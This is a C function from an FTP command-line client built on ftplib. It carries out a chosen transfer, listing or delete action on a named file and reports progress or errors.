void process_file(char *fnm) { int i; int fsz; ftp_connect(); FtpOptions(FTPLIB_CALLBACK, (long) NULL, conn); if ((action == FTP_SEND) || (action == FTP_GET)) { if (action == FTP_SEND) { struct stat info; if (stat(fnm,&info) == -1) { perror(fnm); return; } if (S_ISDIR(info.st_mode)) { if (!ftpMkdir(fnm)) fprintf(stderr,"mkdir %s failed\n%s",fnm,FtpLastResponse(conn)); else if (ftplib_debug) fprintf(stderr,"Directory %s created\n",fnm); return; } fsz = info.st_size; } else { if (!FtpSize(fnm, &fsz, mode, conn)) fsz = 0; } if (ftplib_debug && fsz) { FtpOptions(FTPLIB_CALLBACK, (long) log_progress, conn); FtpOptions(FTPLIB_IDLETIME, (long) 1000, conn); FtpOptions(FTPLIB_CALLBACKARG, (long) &fsz, conn); FtpOptions(FTPLIB_CALLBACKBYTES, (long) fsz/10, conn); } } switch (action) { case FTP_DIR : i = FtpDir(NULL, fnm, conn); break; case FTP_LIST : i = FtpNlst(NULL, fnm, conn); break; case FTP_SEND : i = FtpPut(fnm,fnm,mode,conn); if (ftplib_debug && i) printf("%s sent\n",fnm); break; case FTP_GET : i = FtpGet(fnm,fnm,mode,conn); if (ftplib_debug && i) printf("%s retrieved\n",fnm); break; case FTP_RM : i = FtpDelete(fnm,conn); if (ftplib_debug && i) printf("%s deleted\n", fnm); break; } if (!i) printf("ftp error\n%s\n",FtpLastResponse(conn)); }